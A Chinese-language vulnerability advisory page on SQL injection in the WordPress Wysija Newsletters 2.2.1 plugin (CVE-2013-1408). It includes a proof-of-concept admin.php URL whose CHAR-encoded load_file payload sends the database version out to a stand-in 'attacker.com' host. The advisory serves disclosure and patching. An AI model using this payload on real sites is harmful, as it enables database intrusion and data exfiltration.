WordPress Wysija Newsletters 插件多个SQL注入漏洞

发布日期：2013-02-06
更新日期：2013-02-28受影响系统：
WordPress Wysija Newsletters 2.2.1
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 57775
CVE（CAN） ID: CVE-2013-1408WordPress Wysija Newsletters可以创建新闻组、帖子通知和自动回复。Wysija Newsletters 2.2在实现上存在SQL注入漏洞，经过身份验证的远程攻击者可发送特制的SQL语句到使用search和orderby参数的admin.php脚本，从而在后端数据库中执行非法操作。<*来源：High-Tech Bridge Security Research Lab

链接：http://xforce.iss.net/xforce/xfdb/81932
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！http://www.example.com/wp-admin/admin.php？page=wysija_campaigns&amp;orderby=（select load_file（CONCAT（CHAR（92）,CHAR（92）,（select version（））,CHAR（46）,CHAR（97）,CHAR（116）,CHAR（116）,CHAR（97）,CHAR（99）,CHAR（107）,CHAR（101）,CHAR（114）,CHA R（46）,CHAR（99）,CHAR（111）,CHAR（109）,CHAR（92）,CHAR（102）,CHAR（111）,CHAR（111）,CHAR（98）,CHAR（97）,CHAR（114 ）））） --建议：
--------------------------------------------------------------------------------
厂商补丁：WordPress
---------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：http://wordpress.org/extend/plugins/wysija-newsletters/Cisco Adaptive Security Appliance 远程拒绝服务漏洞（CVE-2013-1138）WordPress Comment Rating 插件SQL注入和安全绕过漏洞相关资讯 WordPress安全漏洞

Wordpress Lazy SEO插件Shell上传（09/23/2013 18:12:26）
WordPress crypt_private（）远程拒（06/30/2013 06:24:06）
WordPress ProPlayer 插件"id"参数（05/23/2013 20:13:32）

WordPress HMS Testimonials 2.0. （08/10/2013 14:28:41）
WordPress Image Slider with （05/29/2013 19:27:42）
WordPress WP Cleanfix 插件" （05/21/2013 19:36:23）

本文评论查看全部评论（0）

评论声明

尊重网上道德，遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
本站管理人员有权保留或删除其管辖留言中的任意内容